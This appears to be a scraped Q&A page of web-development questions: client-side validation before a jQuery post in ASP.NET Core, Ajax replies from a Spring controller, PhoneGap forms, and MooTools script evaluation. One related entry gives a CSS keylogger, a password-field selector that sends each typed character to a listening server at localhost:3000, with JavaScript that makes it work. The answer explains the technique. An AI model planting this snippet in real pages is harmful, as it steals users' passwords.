How can I validate on the client if I use MVC validation but posting a JSON object? - json

I'm developing a ASP.NET Core web application where I'm using DataAnnotations to decorate my view model with validation attributes. When I open a detail page with my inputs, I see that Core added the HTML5 validation attributes to the rendered HTML (i.e. data-val="true").
However, I wrote custom client-side code when the user clicks on the Save button like this:
$(document).on("click", "#SaveAsset", function (event) {
event.preventDefault();
Asset.Save();
});
I also have a Save function defined like this:
window.Asset.Save = function () {
var postData = {
'Id': $("#Id").val(),
'SerialNumber': $("#SerialNumber").val(),
'PartNumber': $("#PartNumber").val(),
'assetTypeId': $("#AssetTypeId").val()
};
$.post('/Asset/SaveAsset', postData);
}
I need to validate on the client side first before calling $.post but I'm confused about how to do it. Microsoft shows that the unobtrusive javascript works automatically when you use it with forms. But I'm not using the HTML form element to submit my page. So how can I trigger the HTML5 validation attributes?
I added the links to jquery.validate.js and jquery.validate.unobtrusive.js. Right now, if I click the Save button the data is sent to the server and the controller checks the ModelState. But it shouldn't even be sending anything to the server. The client should stop the validation.
Should I even stop doing it this way? For example, creating my postData JSON object by getting the val() of each input.
Should I use the form element? I stopped using it because my page has hundreds of inputs so I was worried I would have problems. This way, I have control over each input.

Use a javascript solution like jQuery Validation Plugin to validate data before sending to the server. Otherwise, send the data to the server, and return a the errors with a bad request if validation fails.
Eg.
Return BadRequest(string[]{"Name is required", "Id must me a number"});
then capture the errors and shoe to the user

Related

How do you make a Keylogger with CSS?

input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
inp.setAttribute('value', inp.value)
});
Is what I've found but I don't think it works. How do I do it?
Edit: I realised that the CSS snippet won't work as typing in the input field will not change the value attribute of the html element. A JavaScript function is required to do this. Hence, include the last 3 lines of your snippet in a script tag and then it should work.
The CSS Keylogger was originally a thought experiment as explained in this LiveOverflow video. The snippet you are using is assuming that http://localhost:3000/ is a malicious Web server which records your HTTP requests.
In this case entering "a" on the keyboard (in the input field) would send a request to http://localhost:3000/a (for fetching the background image) which you may intercept as "a" on the Web server. You may write a NodeJS or Python Web server to intercept these requests and get the keystrokes.

How to communicate from my Controller to my HTML with sprint bootstrap?

I am sending a <form> with an input type="file" and a submit button via http and now it seems to work fine. My Controller gets the file and I can check the file e.g. for correctness.
After I checked if the file is correct, I want to interact with my Front-End, I want to display a String in a label and maybe interact with drop-down-menus etc.
In the future I want to be able to display the data-results my program is creating.
How do I communicate from my controller (I guess via HTTP) with my HTML code?
One way is make an ajax request.
You make a request in background to your server, when he responds you can make everything with JavaScript.
Jquery implement methods to use ajax request.
You can do it dynamically with Ajax, but its quite complicated:
Sending file together with form data via ajax post
$.ajax({
type: 'POST',
url: 'your_controller_address',
Ajax target would be your controller, and you'd need to make your controller return for example json data and process it in:
success: function(response)
{
if(response.success == true) {
//yourcode to show notification
}
}
Controller:
#RequestMapping(value="/your_controller_address", method=RequestMethod.POST)
#ResponseBody
public String some_method(#ModelAttribute("form_model") Form_model_type form_model) {
//do your stuff with model here
return "{\"success\":\"true\"}";
}
The other way, less efficient is to send form to another controller (<form action="/your_controller_address") which process your data and shows you notification, but it requires to reload whole page.

how to get data from an html5 form without using php in phonegap

have to design an app in phonegap using html5 in which some data has to be collected from the form and is stored in a database.
the question is that how can i get that data from the form without using php and the 'post' method..??
suppose the user has to login before proceeding, now how can i get the username and password from the form and match it to the database. The problem is not of
Phonegap is full javascript api. You won't have a system with html form sending request/response.
You have to design your app in a way it is using services. Try to add some javascript library like jquery mobile, sencha or just jquery (like example below) to help you in your work.
These libraries work fine with Phonegap (and sencha is the most optimized).
Write your service side ; it could be just simple php pages that will handle form parameters like a standard html application. You need a server side somewhere to access the database ; so host this file on an php/apache somewhere it can be accessible to the application.
--
<?php
/* mySaveService.php */
/* do something like $_GET['param1'] mysql_connect() / mysql_query() and all the stuff */
?>
--
Design your client's view side, you can write the bare html code or use a framework like Sencha (cleaner and harder way).
--
<form>
<input type="text" name="param1" value="" />
<input type="button" class="submit" value="send" />
</form>
--
Add a listener on your form submission or the submit-button click :
--
$('form .submit').click( function() {
saveInDb($(this).parents('form:first'));
});
--
Write a javascript function which sends an ajax call with your form's data. The url will not be in the same domain, be sure to allow cross-domain requests.
--
saveInDb = function($form) {
var myParams = array();
$form.find('input').each(function() {
myParams[$(this).attr('name')] = $(this).val();
});
$.ajax({
url: 'http://domain.com/mySaveService.php',
data: myParams,
success: myCallback
});
}
--
Don't forget to write the callback function, to alert the user that
everything went fine
--
myCallback = function() {
alert('It works');
}
--
Alternatively, if you don't need to gather all the form's data in one
place, you could use directly localstorage.
I hope it'll help. Regards

How to submit data from an html page forcing the browser keeps the page unchanged

First let me set the situation.
I am writing a simple client html page and a simple server side program.
In detail, the page has a submit button to POST some data to the server program.
The problem is that any time I test the page to push the submit button ,the browser displays the new page which displays only the return message my server program returned.
How can I modify the html or the server side program so that the browser keeps the page unchanged before after the submit button is pushed.
I know an easiest way ; letting the sever program returns the same string as the client html page.
Thank you in advance.
In a regular form submission, your page will be whatever the server sends back. The form's action might be the same page, and then your server-side code can read the value of any input fields, and set the values in the response back to what they were in the request. This should result in the page looking the same as it did before the submit button was pressed. However, the page has "changed" in the sense that it was reloaded.
Alternatively, your form can make an Ajax request, which means that you'd need to use Javascript to intercept and stop the form submission, and then use additional coding to send the Ajax request, and then receive and process the response.
What you want is probably a postback:
http://en.wikipedia.org/wiki/Postback
1.) AJAX
You could use JavaScript and AJAX to POST the data.
2.) IFrame (not recommended)
You could also create a hidden IFrame and set the target attribute of the form to it.
What you want to do doesn't seem to be very clear.
If you want to submit your POST data without loading a new web page, you can use Ajax. It may be simple to do it in jQuery, and even simpler if you serialize your form data.
$('form').submit(function() {
$.post('your-post-url',$(this).serialize(),function(data) {
alert('Data posted!');
});
return false;
});

Mootools Request to change javascript code?

So I am planning on dynamically changing a page's content by fetching it from another page.
To do so, I used Mootools' Request class:
var tabContent = new Request({
url: 'foo/bar/baz.php',
onSuccess: function(data) {
$('tab_container').innerHTML = data;
}
}).send();
In any case, the HTML is fetched fine, and returns without a hitch. However, I'd like to add some events to THOSE fetched elements (Fx.slide, to be precise), and that requires some js to be included in the requested file.
Upon inspection of the returned data, the javascript is intact. However, it does not show up in the final product. That is, somewhere in between having received the data, and rendering the data (via the innerHTML bit) it seems as though the javascript has been excised out for some reason.
Hm.
add evalScripts: true to the Request options, then include the script in a simple <script></script> block at the bottom of the response.